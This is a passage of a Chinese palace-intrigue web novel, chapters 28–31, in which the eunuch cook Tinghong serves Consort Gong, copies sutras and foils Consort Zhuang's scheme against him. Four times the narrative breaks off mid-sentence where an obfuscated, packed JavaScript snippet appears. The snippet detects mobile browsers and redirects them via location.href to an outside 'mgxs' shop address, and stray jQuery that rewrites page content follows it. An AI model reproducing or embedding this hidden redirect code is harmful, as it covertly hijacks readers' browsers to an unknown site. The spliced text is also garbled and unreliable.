“是想让她出错,到时能借机把她压下去,也给大皇子一个警告。但眼下我实在不希望宫里闹出人命,影响了皇上祈福。比起一时快意,还是赶紧下雨,让百姓有个好收成更要紧。”恭贵妃叹道,“否则怕今年冬天就没个安生了。” 恭贵妃把轻重分得如此明白,听容越发觉得她是个好主子。只有真正心有百姓的人,才会在意收成,而不是宫中吃肉,百姓吃糠,却要问一句何不食肉糜。 恭贵妃这边不需要他再做什么,听容就按先前的吩咐去皇子所请了严昱祉。 “姑母找我,你可知什么事?”前往繁秀宫的路上,严昱祉问他。 “奴才不知。”听容只隐约猜着应该和祈雨有关,可具体的并不清楚,还是别乱讲了。 “近来后宫是庄贵妃管着,皇上又不在。我尽量不去姑母那边请安,免得横生事端。”严昱祉很是谨慎,“你往来方便,要是有什么事,来跟我说一声罢。” “奴才消息不是很灵通,不过要是真有要紧事,定会通知公子。”听容不大包大揽,他总不能天天在外打听着,小厨房不管了吧,不过说到小厨房…… 听容难得主动要求:“公子若下次出宫,还能淘到像样的菜谱,可不可以带给奴才?” 严昱祉一笑:“菜谱哪有那么好找?倒不如等你休值时,我带你出宫走走,你尝尝京中美食,回来自己研究来得快。” “我?”听容知道太监们是可以在休值这日出宫为自己采买些东西的。但像他这样刚进宫没多久的,是论不上的。 “怎么?不想去?”严昱祉单手背在身后,渐渐与听容走到并肩的位置。 这样一比,两个人身形的差距就更明显了。一个一看就是习武的,窄腰长腿,肌肉薄而精实;一个一看就是长日吃不饱饭的,虽然比刚进宫那会儿长了些肉,却也是风大一点就能被吹跑的。 “没有,只是我应该没办法轻易出宫。”听容没细跟他讲,人家主子没必要知道他们这些奴才的潜规则。 “只要你想去,没什么难的。”严昱祉倒没觉得是难事,“你跟着我去,我姑母没有不答应的道理。只不过暂时是不方便带你出去了,皇上在为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269736|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干旱祈福,咱们出门吃喝玩乐,太容易惹人议论了。” 虽然不确定自己是不是能出宫,也知道暂时是没戏了,但听容心里却生出了些许期待。 恭贵妃叫严昱祉来,是让他多写信回家,问问南边是否也□□旱影响。如果按听容所说,今年收成会成问题。即便各地有存粮可以发放,到时候价格也会水涨船高。况且不是各处都有存粮,或者存粮足够的,届时难民涌入就会成为大问题。 她知道南疆肯定是有粮的,他们严家在这方面有自己的安排,甚至有一大部分的存粮是不报到朝廷的。若到时候泰宣帝让南疆拿粮支援各地,他们要怎么办,以及万一外族借机生事,又要怎么应对,这些都要提前做好预备。 这样频繁的信件往来在宫里肯定是不方便的,就算是严昱祉也不方便,幸好宫外有季汀在,跟家里联系很方便。 听容在小厨房为晚膳做准备,现在时间充裕,他也不着急。大锅里煮着水,灶台上放着两大碗糖,听容坐在小凳子上剥蒜,心里在想如果自己真能出宫去一日,到底要去哪儿?又想京中的吃食会不会很贵,他的月银够不够用? “忙什么呢?”严昱祉掀开帘子走了进来。 听容赶忙起身:“公子怎么来小厨房了?这里乱得很,有什么事您叫人来吩咐便是。” “没什么事,就是来看看你在干什么。”严昱祉完全没有君子远庖厨的想法。 听容放下手里的笸箩,进小厨房的事他觉得小禾是能干出来的,可严昱祉来就不大合适了。 看他的表情有点怪,严昱祉笑问:“怎么,我不能来?” “不是……”听容也不知道说什么。严昱祉来小厨房在他看来甚至比恭贵妃来更不合适。 严昱祉浅笑道:“在军中,将军视察火头营是必须的,没什么进不得的。你这是要做什么?” “听说庄子上送进宫一些梅子,要泡梅子酒。我想着可以做些脆甜梅子,生津止渴,就让人去要一些,锅里的水一会儿是要拿来煮糖水的。”听容解释。 “这是你在家乡吃的?”严昱祉不知是真好奇,还是只随口一问。 “是,梅子不值什么钱,也没什么人会去摘,山上多得是。只不过乡下人家里没什么糖,泡出来的梅子还是酸的。” “只是想想就觉得应该是好吃的。”严昱祉没觉得乡下人吃的东西上不了台面,又问,“这些蒜呢?” “炸些金蒜,做菜也好,放面条上也好,都提味的。”听容又答。 “你是真挺用心的。”严昱祉在小厨房里扫了一圈,“有没有什么吃的?茶喝得不顶饱。” 繁秀宫里几乎不会有剩菜,端午做的粽子也吃完了,听容不太想让严昱祉空着肚子走,便犹豫着说:“我在灶坑里烤了几个土豆,快好了……” “这个好。”说着,严昱祉拿了个凳子坐到听容旁边,等着烤好。 这让听容对他有了更进一步的认知,严昱祉有着将军世家的饮食风格,不挑不拘,有得吃就行。 29.第29章 烤出来的土豆不如红薯香,甚至有些寡淡,可蘸上花椒盐,也别有一番滋味。 “如果再有些胡辣子,味道就更好了。”严昱祉边吃边道。 听容一共烤了四个,严昱祉自己就吃了仨儿,倒是很厚道地把最大的一个留给了听容,听容怕他不够吃,都没敢动留给他的那个。 “那下次我再做些胡辣子。”听容不知道自己怎么能确定严昱祉还会跑到小厨房蹭吃的,可能是严昱祉的态度太过随意自然,让他随口就这么接了话。 “行,等你这儿有了适合做胡辣子的辣椒,记得去致书堂叫我。” 胃里有底了,严昱祉站起身:“我跟姑母说了,等这次祈雨结束,找机会让你跟我出宫看看。” 听容的惊喜完全掩盖不住,他没想到这事能这么快就定下了。 严昱祉扬了扬嘴角,在他的印象里,听容很少把表情写在脸上,今天看来是真高兴了:“准备好吃东西的银子,要是到时候银子不够,我就把你抵在店里还债。” 听容没拿他的话当玩笑,反而非常认真地点了头。 严昱祉刚要迈出门,就又收回了脚,把帘子放下了。 “怎么了?”听容不解。 “春萱宫来人了。”严昱祉不爱与他们撞上,索性就不出去了。 “光全公公?”灵瑚见他来了,便走上前去,“是有什么事?” 此时听容也来到门边,听着外面的动静。 光全在繁秀宫摆不了什么谱,只肃着脸道:“奉庄贵妃娘娘之命,知会六宫,今日见恭贵妃娘娘送香包祈福,庄贵妃有感,认为六宫都应该效仿恭贵妃娘娘的心意,为皇上分忧。所以命后宫所有主子抄录《大云轮请雨经》三十遍,三日后一早送到春萱宫,由庄贵妃过目后,一并送往净华殿。” 正常来说,庄贵妃就算有协理六宫之权,在这样的小事上也命令不到繁秀宫来。可她打着祈雨的名头,恭贵妃就不好拒绝了。 灵瑚的圆脸即便严肃起来也没有威慑力:“所有主子都要抄?” 光全理所当然地道:“当然。就连良嫔娘娘怀着身子,也是要抄的。不过我们娘娘心善,给良嫔减了量,抄二十遍就成。” 有孕的嫔妃都没逃掉,灵瑚就没再跟光全掰扯,说了句“娘娘知道了”,就让人走了。 “打着从我姑母这儿得到启发的名头,还真是会找背锅的。”严昱祉嘲讽的意思已经很明显了。 听容退了几步,说:“主子们都不傻,是自己的意思,还是打着别人的名头,心里都有数。若是想不明白的,也无需在意了。” 跟聪明人说聪明话,跟蠢人最好是一句也别说。 “说得也是。”严昱祉笑了一声,就离开了。 大勉朝现存的《大云轮请雨经》有七千多字。要字迹工整地抄完一篇,得费不少工夫。想滥竽充数地糊弄庄贵妃,也是不可能的。 庄贵妃恐怕也清楚,如果让主子们亲笔抄写,三天肯定是写不完三十遍的。所以她是把能帮手的宫女都算上了。只不过一个宫里能识字、写字,且还能写得工整的宫女也就一两个。所以三十这个数字是算好的,既让嫔妃们睡不好觉,又不至于完全达不成这个目标——如此看来,庄贵妃磋磨人真的是有一套的。 繁秀宫做了三天的针线活,手上本就挺累了,这会儿又要抄经文,实在是难上加难了。 不过事情安排下来,恭贵妃也没怠慢,这其中除了不想与庄贵妃在这个时候争执,也是真心希望能为求得甘霖再尽一份力。 听容进去送晚膳时,就见殿内三张桌子都占满了。恭贵妃、芳眉和灵瑚一人一张,都在认真抄录。 “娘娘,歇一会儿,先用膳吧。”没有合适的地方,听容只能把饭菜放到榻桌上,摆不下的就让人把待客的小方桌搬过来,凑合着用了。 恭贵妃活动着酸胀的手指:“芳眉、灵瑚,别抄了,先来跟本宫一起把饭吃了。” 时间紧,恭贵妃也不管那些礼仪了,叫上两个人一起吃饭。 听容从旁给恭贵妃布菜,疑惑地问:“灵瑚姐姐也会写字?” 灵瑚站在桌前,边吃边道:“我好歹是大宫女,怎么可能不会?” 听容就觉得脑子里一响。 “怎么了?”恭贵妃问他。 听容才道:“严公子跟我说灵瑚姐姐虽是大宫女,但并不识字。” 恭贵妃乐道:“这混小子逗你玩的。灵瑚或许认不全字,但日常书写不在话下。” 听容有些懊恼,自己怎么就傻傻地被严昱祉套出了认字的事呢?如果当时他果断回一句“不可能”,说不定就不会暴露了。不过话说回来,严昱祉既然提醒他不用再藏了,是不是被严昱祉给套出来了,又有什么关系呢? 芳眉从旁道:“公子也就乐意跟你玩笑几句,对着我们,他可不这样。” 听容可不觉得这算是“优待”,他不是开不起玩笑,只是有时分不清是不是玩笑。 三个人用完膳就继续抄写了,听容和其他人把饭菜撤了下去,留了两个小宫女帮着磨墨。听容在小厨房吃了饭后,又泡了明目的菊花茶送进了殿内。 灵瑚抄得不快,力求工整。芳眉抄了一阵后,就放下笔活动着手指,还要不时捏一捏脖颈。恭贵妃手上没停,但蹙着眉显然也是累了,短暂的休息并不能很好地缓解疲惫。 “娘娘,照这样抄下去,恐怕这三天您都睡不了几个时辰。”芳眉可以熬着,但不愿意让恭贵妃熬着。 “少睡就少睡吧,和别的宫里比,好在咱们这有三个人能抄。”恭贵妃头也不抬地说。 “季汀说您的身体要好好养着,每日必得睡足才成。”芳眉哪怕自己不睡,也不能让恭贵妃睡不好。 “左右就这三天,过几日把季汀叫进来,再为我诊脉调药吧。这个时候都不容易,没得让你们熬着。”恭贵妃宽仁待下,不是嘴上一套行为一套的。 听容抿了抿嘴唇,说:“娘娘若不嫌奴才蠢笨,奴才才可帮着抄些。” 恭贵妃蓦然抬头:“你会写字?” 宫里识字的宫女有,但识字又能写的太监凤毛麟角,她知道的也就皇上重用的那几个太监了。剩下各局的太监看着是会写,但实际只会局里日常纪录的那些,多了也是不行的。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282541|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟着村里的先生学过。”听容道,“奴才的字不算好看,但工整是可以做到的。” 恭贵妃看了看他,惋惜似的说:“你既然能读书识字,怎么会进宫了呢?” 听容没办法把自己的不甘说给恭贵妃听,只能道:“家里太穷了。” 恭贵妃叹了口气,没再追问,只让人搬了桌椅进来,又拿了笔墨,给听容用。 听容坐下来,自己研了磨,照着恭贵妃写好的开始抄。好长时间没写字,他还有些生疏,但很快就恢复了笔感,越写越顺。 渐渐地,听容仿佛模糊了自己的所在,回到了在村中的时候。先生偷偷给他准备了文房四宝,知道他不能带回家中,就在学堂的厨房给他弄了个小桌子。赶上上山找野货时,他都会提前下山,先生会在山下等他,从一开始只是给他讲课,到后来他跟着先生回去,先生在厨房教他写字。 那段时光他很珍惜,也珍惜先生对他的好,习字格外认真。也许是他真的很有天分,不需要多练,就能写出很好看的字,先生还玩笑说如果再能精进,凭一手好字考个好名次,也不是不可能。 歇息期间,恭贵妃来到听容桌前,拿起他的字欣赏:“你的字写得不错啊。” “谢娘娘夸奖,照着娘娘写的抄,也能写得格外好看些。” 恭贵妃笑道:“胡说,写得好就是写得好,如果照着就能写得更好,那人人不都成书法名家了?” 听容抿嘴笑着,继续抄写。 有了听容的加入,繁秀宫的抄经就显得游刃有余了。下人们可以少睡一会儿,恭贵妃就能睡个整觉。恭贵妃好好的,繁秀宫上下才能安心。 这三日听容也没再去小厨房,繁秀宫吃的都是御膳房送来的饭菜。仿佛无形中立下了听容不在,谁也别想在小厨房开火的规矩。 转眼,就到了庄贵妃收经文的日子。本来让芳眉去就行,但先是做香包,后是抄经的,芳眉和灵瑚手上都疼得很,听容就主动揽下了这个差事,在屋里坐久了,他也想走一走。 即便是抄经,各宫主子的请安也免不了的。这会儿各位主子已经进去坐下来,身后的宫女捧着抄好的经文。听容进去时,正听着庄贵妃在数落。 “只是抄个经,瞧瞧你们一个个的,面如菜色,不知道的还以为是本宫苛责了你们。” “嫔妾不敢。”众嫔妃忙答。 庄贵妃喝了口茶:“一个个呈上来,本宫过目。” 于是自淑妃起,宫女们一个个将东西呈上前。 “嗯,抄得不错,字是不够娟秀,倒也不错了。” “这是怎么了?看着是少了几份啊。抄个经都躲懒,一点诚意都没有。” “这抄得什么啊?字这么乱,好意思拿到佛前吗?” …… 庄贵妃一个一个挑毛病,鲜少有她挑不出错的。 等她都看完了,光全才帮着通报。 “呈上来吧。”庄贵妃再次端起茶杯。 听容走进去给她行礼,然后将抄好的经文呈到她面前。 哪知庄贵妃手上的茶杯一歪,连水带茶叶全扣到听容端着的经文上去了。 30.第30章 在座的嫔妃皆是一惊,可谁都没敢说话。思索之间,淑妃刚要开口,就被庄贵妃身边的姑姑抢了先。 “你这奴才怎么笨手笨脚的,撞到了娘娘弄翻了茶杯,让恭贵妃娘娘这些经白抄了。” 这个声音让听容端着托盘的手指一紧,这位姑姑就是当初与孔量说话的那位。他的危机感在进入繁秀宫后降低了许多,可在听到熟悉的声音后,那种感觉加倍地反噬了回来。之前他只想自保,现在他却希望宫里没有庄贵妃才好。 “庄贵妃息怒,既是不小心的,就别计较了,把经文送到净华殿要紧。”淑妃开口,她跟恭贵妃交好,这个时候肯定不能一言不发。 “你这话说的,”庄贵妃瞥了她一眼,根本没把她放眼里,“大家的经文都在,唯独缺了恭贵妃的那一份,岂不是不够圆满?” 在座的嫔妃都知道庄贵妃蓄意找茬儿,可皇后和恭贵妃都不在,想逆着庄贵妃谈何容易? 庄贵妃点了点已经被茶水泡花了的字:“你也是个不顶用的,恭贵妃能容你,本宫也是断断不能了,否则下人们都学你这样,毁了主子们的好意,可还了得?” 淑妃皱着眉道:“贵妃娘娘,既然是恭贵妃宫里的人,理应交由她处置才是。” “哼,”庄贵妃冷笑一声,“恭贵妃对自己的下人向来宽和,你们也不是不知道,所以才养出这些懒怠的奴才,办差都办不利落。如今是本宫协理六宫,帮着处置个奴才天经地义。” 说完,也不等淑妃再说什么,便道:“来人,将这个奴才拉出去打五十大板,丢去做苦役。” “庄贵妃……”淑妃惊得站起身,就算庄贵妃协理六宫,也没有不通知恭贵妃就处置繁秀宫奴才的道理。 “闭嘴!”庄贵妃装都不装了,不耐烦地瞪了淑妃。 “且慢。”听容看明白了形势,这会儿都快要他的命了,他也不能再沉默了。 “死到临头,还有什么可说的?”庄贵妃身边的姑姑指着他怒道,“难不成还想让恭贵妃给你求情不成?!” 听容放下举着托盘的手,说:“庄贵妃娘娘恕罪。我们娘娘知道小的笨手笨脚,怕小的不小心把经文弄脏了,所以给经文包上了油纸。上面这一份是抄多的,您要的三十遍还完好无缺。” 说着,听容掀开了上层的,露出下面被包得严实,一点都没被打湿的。 但凡庄贵妃是真心要查看抄写是否不足,是否工整,都会注意到下面的油纸。可惜庄贵妃是纯找茬儿,直接就动手了。 而包油纸并不是恭贵妃让他做的,而是他自己多想了几分,也是为了保险。只不过他也没想到,庄贵妃的针对来得如此直接,且不加掩饰。 而这样一来,庄贵妃反倒不好再做什么了。听容刚呈上去的时候,她能说是托盘挡到了她的手,让她打翻了茶杯,现在如果她让人重上一杯茶,再打开油纸将茶倒上去,就算在座的妃嫔不敢当面说什么,可转头肯定会去找皇后。恭贵妃那边就更不可能善罢甘休了。 “呵呵,她倒是真仔细。”适时地收手也是一种聪明,来日方长,“行了,碧桃,把恭贵妃抄的收好,一并送去净华殿吧。” 碧桃应后,就上前接了听容手里的东西,这会儿她肯定也不会破坏这些经文,不然就变成她办事不利了。 “奴才告退。”听容一刻也不想多留,行礼告退。 庄贵妃翻了个白眼,没再理他。而有了刚才的事,她就是想继续挑这些嫔妃经文中的毛病,也显得不像刚开始那么有理了,于是庄贵妃掩口打了个哈欠,懒懒地说:“行了,你们也都回去吧。” “嫔妾告退。” 离开春萱宫,淑妃第一时间去了繁秀宫,都不需要听容说什么,淑妃就把春萱宫的事全说了。 “她是越发肆无忌惮了。”恭贵妃脸色难看,“好在听容聪明,否则我就是去跟她掰扯,也换不回听容的命来。” “之前我只觉得她跋扈难搞,但有皇上皇后在,倒也不至于太出格。但今天我是见识到了,如果没有人能压制住她,这个宫里就成了她草菅人命的法场了。”淑妃心里有气,也是她位份不如人,说话就没个分量,即便有亲生的皇子也没用。 “我也没料到她会如此。权利迷人眼,也显人心啊。”恭贵妃难得地和淑妃说话间一点笑脸没有。 淑妃离开后,恭贵妃把听容叫了进来,细问了春萱宫的事。 听容如实答了。 “幸好你防了一手,不然就算本宫赶过去,怕也于事无补了。”恭贵妃叹了口气,“看来你是对庄贵妃早有戒心了。” 她知道庄贵妃之前找借口把听容从循才人身边调走了,但这其中的原由听容知不知道她是不清楚的。 听容知道想要得重用,很多事就不能隐瞒,于是他把自己被故意调走;碧桃收买孔量要除了他,被他听到;以及当时循才人醉酒起火,可能是酒有问题等,都跟恭贵妃说了。 如此一来,恭贵妃更觉得听容聪明,而且不光是聪明,还很有行动力。 “在这宫里,位份没有她高,或者皇上不够重视的妃嫔,就没有没受过她气的。循才人当时正得宠,一早就是她的眼中盯了。起火是怎么回事我是猜不出,不过循才人的酒出了问题,我倒是能猜个一二。” 恭贵妃喝着茶,娓娓道:“上巳节的宴会是皇后办的没错,但当日皇后跟皇上一早就去祈福了,宴席上的事就交给了庄贵妃。但这事是皇后私下跟庄贵妃说的。当时我去给皇后请安,恰好听到了。由于宴席的事皇后其实已经安排妥当,庄贵妃只要盯着别出差错就行,所以我也没放心上。” 听容终于把事情厘清了。 “那之后,皇上就冷落了循才人,估计皇上心里已经有数,只是皇上对庄贵妃情谊不一般,循才人又没为自己争取。皇上自然不会对庄贵妃如何。”恭贵妃说,“只是我没想到,她私下还想要你的命。” “幸好奴才被您要来了繁秀宫,否则也难免提心吊胆地过日子。”听容说的是实话,当时有孔量这个例子,别人不敢轻举妄动,日子还长,防不胜防。 恭贵妃三思过后,说:“以后我尽量不让你往庄贵妃面前去。” “娘娘不必顾及我,我会当心的。您之前说过,大意才会漏破绽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286650|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您要让我避开,庄贵妃反而会多想。”听容没忘大皇子射他的那一箭,他等着看结局呢。 恭贵妃既想笑,又想叹气:“有时候你胆子大得我都不知道怎么说你。” 听容轻笑:“以后我尽量不单独去庄贵妃面前就是了。” 恭贵妃摆摆手:“行了,这几天你跟着抄经也累了,好好歇两天吧。也不知道这雨什么都能下,若是求不来雨也是麻烦。” 听容告退,可还没等他迈出门,灵瑚就匆匆走了进来:“娘娘,良嫔动了胎气,刚被抬回英萃宫。” 恭贵妃眉头一紧:“怎么弄的,要紧吗?” “还不清楚,说是从春萱殿回去的路上突然不适,白御女没经验,可能人也慌了,就叫嚷起来,人抬回英萃宫才想起来没禀报庄贵妃。”灵瑚道。 正常来说恭贵妃应该去看看,但想到良嫔跟庄贵妃是一起的,她去了虽是关心良嫔和孩子,却很难落个好。 “让人先打听着看看,可能是抄经累着了。”恭贵妃这样猜测。 “也是,良嫔有着身子,就算少抄,也是费神的。”灵瑚只负责把消息告诉主子,至于主子要怎么做,她只听安排。 消息一直等到正午,没等来良嫔的情况,倒是等来了宫里的又一桩喜事——永定宫的孟才人有孕了。 “虽然雨还没下,但添丁的喜事也是好的。”恭贵妃颇有些感慨,“孟才人伴驾的日子不多,能有孕的确不易。” “是啊。”芳眉附和,“不过孟才人应该等皇上回来再把这桩喜事说出来更保险吧?” 灵瑚道:“听说是从昨晚身体就不舒服了。今日从春萱宫回去,良嫔身体不适,得力的太医都被请去英萃宫了,孟才人本想忍一忍,等良嫔那边无恙了才去请太医,免得添乱。可实在坚持不住了,宫女就去请了个小太医。” “这也太小心了。”恭贵妃摇摇头。 “当下谁敢不小心呢?”芳眉提醒,“娘娘是不是应该送些贺礼过去?” “照例应该赏些布匹之类的,不过孟才人向来喜欢作画,送那些寻常之物怕是送不到她心里。”恭贵妃想了想,说,“你去库房里挑些好的笔墨,让听容给送去吧。” 孟才人位份不高,让听容去很合适了。 永定宫挨着长宁宫,听容对这位孟才人没什么印象,可那条路他很熟。 顺利地把东西送进去,他发现和循才人比,孟才人的屋子陈设要差上一大截。现在孟才人有孕了,也没有什么人来送礼,让听容很是意外。 “代我谢过恭贵妃,待我身子好些,一定亲自去繁秀宫请安。”孟才人说话声音很轻,仿佛没有什么力气,人也是坐在床帐里,听容根本没看到她本人。 “是,奴才一定把话带到。”离开永定宫,听容不自觉地回头看了一眼,依旧觉得永定宫太冷清了。 在路过长宁宫时,听容看到大门从外面上了锁,可见庄贵妃的责罚没人敢含糊。 在绕到小门时,听容听到“吱嘎”一声轻响,随后就见芷月探出头来,看到听容惊喜又谨慎地向他招招手,似乎一直在这儿守着等他呢。 31.第31章 听容谨慎地四下看了看,确定附近一个人都没有,才走到小门边。 他跟芷月是没有任何恩怨的,当初他能进长宁宫伺候,也是托了芷月的福,所以芷月叫他,他会应。 “芷月姐姐。”听容先叫了人。 芷月知道不宜让人看到听容进长宁宫,循才人还在禁足,让人看到是给听容找麻烦,于是她开门见山:“循才人想见你一面。” 听容是犹豫的,他大概能猜出循才人见他的意图,之前因为循才人的无所作为,听容觉得自己没有欠她的,算是两清了。可看着芷月期待的眼神,听容又不忍心拒绝,便进了长宁宫。 长宁宫从院子看一如从前,但进了殿内就能发现供应上的不足,就连平日常用的熏香都没有了。 循才人依旧喜欢穿粉色,只是衣服看起来不是开春新做的,就连发饰都稀疏了不少,比他之前在宫花园看到时还要黯淡。 而站在她身边的采莺也换回了寻常宫女的打扮,没有出格的装饰,人看着比以往憔悴了些。 给循才人请了安,循才人看到他很高兴,让采莺赐座。 “奴才不敢,才人唤奴才来,是有何事?”听容不能久待,他还得回去复命。 “看你跟着恭贵妃,人精神了不少,我就放心了。”循才人语气不像是场面话,仿佛他们的关系在听容这儿是两清了,可在循才人那儿还能讲讲旧情。 “多谢才人关怀。”听容不可能接她的话茬上演旧主情谊,客客气气地答了就是了。 循才人抿了抿嘴唇:“你是奉命来给孟才人送贺礼的吧?我猜恭贵妃宫里会送东西来,所以特地让芷月留意着。若来的是别人,恐怕未必会进这宫门,幸好是你。” 听容没应话,他希望循才人有话直说。 循才人叹了口气,接着说:“那次失火后,皇上也不来我这儿了。我每每想去给恭贵妃请安,都因恭贵妃还在继续休养,没得见。” 恭贵妃不见循才人的事听容是不知道的,不免惊讶。看来有芥蒂的不仅是皇上,恭贵妃也一样,只不过两个人芥蒂的点不同。 “我的酒被换的事也就这么不了了之了。庄贵妃倒是没再针对我,一个失宠的女人对她来说没有威胁了,但她对我的态度也没好到哪儿去。先前在宫花园你也看到了,若不是恭贵妃娘娘还肯帮着说几句,庄贵妃对我的责罚肯定不会这么轻。”循才人说着说着,情绪上来了,眼眶泛红。 听容在恭贵妃那儿知道了换酒门道,但并不准备多说什么。 “如今我也是明白了,我性子软,之前有皇上的宠爱,不觉得怎样。现在若是再没个靠山,在这宫里怕是难活了。由其现在庄贵妃手握大权,皇后生病不出,我真的活得提心吊胆。”循才人用手帕擦了擦眼睛,“放眼这个宫里,也就恭贵妃算是个明白人,所以我想让你去帮我问问。若恭贵妃愿意护我,我定尽心为她效力。” 有的时候不是人愿意选边抱团,而是不得不如此。 听容假装沉吟了片刻,道:“才人,不是奴才不愿意帮您带话,而是奴才现在多是在繁秀宫的小厨房帮工,偶尔领些跑腿的差事,别说帮您递话了,就是恭贵妃娘娘身边也不是常能近得。先前陪娘娘去请安也好,去净华殿送祈福香包也好,都是娘娘为了让我尽快熟悉繁秀的规矩,并非委以重任。所以恐怕很难帮上您。” 听容把各方面的路都堵上了,不是他心硬,他自己在循才人手底下当差,已经吃过亏了。循才人这样的性子,如果自己不改,在这个宫里只能成为别人的负累。他现在好不容易有这个运气进了繁秀宫,肯定希望恭贵妃平平安安,无忧无难,必不可能把一个隐患安排到娘娘身边去,那不是坑人坑己吗? “你不愿意就算了,找这些说辞做什么?”一直没说话的采莺终于是没忍住开口了。 “采莺。”芷月开口阻止,现在是她们有求于听容。 听容跟采莺本就有过节了,只是听容没给拿到面上。试想,如果他现在跟循才人说采莺欲收买勤耕苑小太监的事,在他不肯定帮循才人的情况下,循才人本能来说会帮谁?肯定是从小陪在自己身边的采莺。届时循才人觉得没了面子,投靠恭贵妃无望,万一恼羞成怒,成了恭贵妃的绊脚石,那可就得不偿失了。 因为白御女的上位,采莺明显也有了自己的心思。他倒不如静静看着,等着采莺作死。 听容还没怎么样,循才人倒是羞愧地红了脸,原本她还能装作不知,讲几分旧日情分。现在让采莺把话说这么直,等于是撕开了那层粉饰。 听容知道多留没有意义,按规矩行了礼后,就告退了。 芷月追着送他出去。 “芷月姐姐,宫里伺候的两个小宫女呢?”一直没看到人,听容便问了一句。 芷月无奈地叹道:“主子被禁足,庄贵妃身边的光全来说禁足了不需要那么多人伺候,就给调走了。主子出不去,但抄经的事一点都没被落下,今天一早光全就来取了,主子这三天连两个时辰都没睡足,也是被逼得实在没办法了。” “我才到繁秀宫没几天,才人的帮我实在帮不上。芷月姐姐万要保重。”说到这儿,他又往殿门那边看了一眼,压低了声音说,“我再多跟姐姐说一句,那日我偶然听到采莺和小宫女说话,似是对白御女很是羡慕,有意效仿。” 芷月惊讶地挡住嘴,一时不知是该信还是不该信。听容跟采莺不和,若借机挑拨也不无可能。而且采莺的心仪对象不一直是严昱祉吗? 听容没有多解释,开门见没有人,便快步离开了。 芷月锁好门,满心疑惑,一脚刚迈进门内,就听到采莺对循才人道:“主子,您见不到皇上,想复宠太难了。前一阵子良嫔也见不到皇上,献上了白御女后,皇上就又见她了。您不如也考虑一下?” 芷月原本还不太信听容的话,结果立刻采莺就一巴掌打她脸上了,让她觉得自己就是一个把好心当驴肝肺的小人。 不过循才人并没理解到采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291078|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莺的意思,羞愧未散,加上这几日没睡好,头疼的厉害,起身道:“若人人都给皇上身边塞人,那后宫岂不乱套了?其他娘娘也不会高兴的,更容易惹麻烦。算了,还是先扶我去睡一会儿吧,我太累了。” 芷月收回迈进去的脚,默默退了出去。 回到繁秀,听容向恭贵妃复命。 “孟才人如何?可有太医在侧伺候?”恭贵妃问。 “孟才人放了床帐下来,奴才没见到她。也没见太医在宫内伺候。”听容如实说,随后又道,“奴才有一事,虽不甚要紧,但还是想跟娘娘说一说。” 恭贵妃点头,示意他继续。 听容就把回来路上被芷月叫进长宁宫的事全跟她说了。 恭贵妃认真听完,然后懒懒地撑着脸侧:“你倒是实诚。” “实不敢隐瞒您,虽然奴才是确定了附近没人,才进出的长宁宫。但凡事都有个万一。与其让您从别人那听说,倒不如奴才自己说。”听容既然拿恭贵妃当主子,就得拿出诚心来。 恭贵妃笑了:“行,本宫知道了。你去歇着吧。” 孟才人有孕的消息已经传去了护国寺。泰宣帝在护国寺祈雨也有几日了,但天气持续晴朗,连阴天的意思都没有。 恭贵妃这几日脸上也带了几分愁,可看起来并不是为了祈雨的事。 担心恭贵妃吃不下饭,听容特地做了几道酸辣的凉拌菜,在晚膳时一并送了进去。 在摆菜时,就听恭贵妃跟芳眉道:“我现在只希望皇后快点好起来。如果在庄贵妃协理六宫期间有两位皇嗣诞生,皇上定会记她的功,认为她协理六宫妥当。到时候就算皇后病好了,拿回了主理之权,皇上恐怕也会继续给庄贵妃协理之权。到时候我的位置怕没有现在这么稳了。” 位高如恭贵妃,也会有顾虑,也要多方权衡。而对着从小就跟着她的芳眉时,私下说话也会用“我”自称,仿佛又不属于这个宫里。 “是啊。如果协理之权实打实地给了,那大皇子恐怕就更得意了。到时候其他皇子不好过,恐怕兄弟之争就要拿到明面上了。”芳眉在宫中多年,看得很明白。 恭贵妃来到桌前坐下。 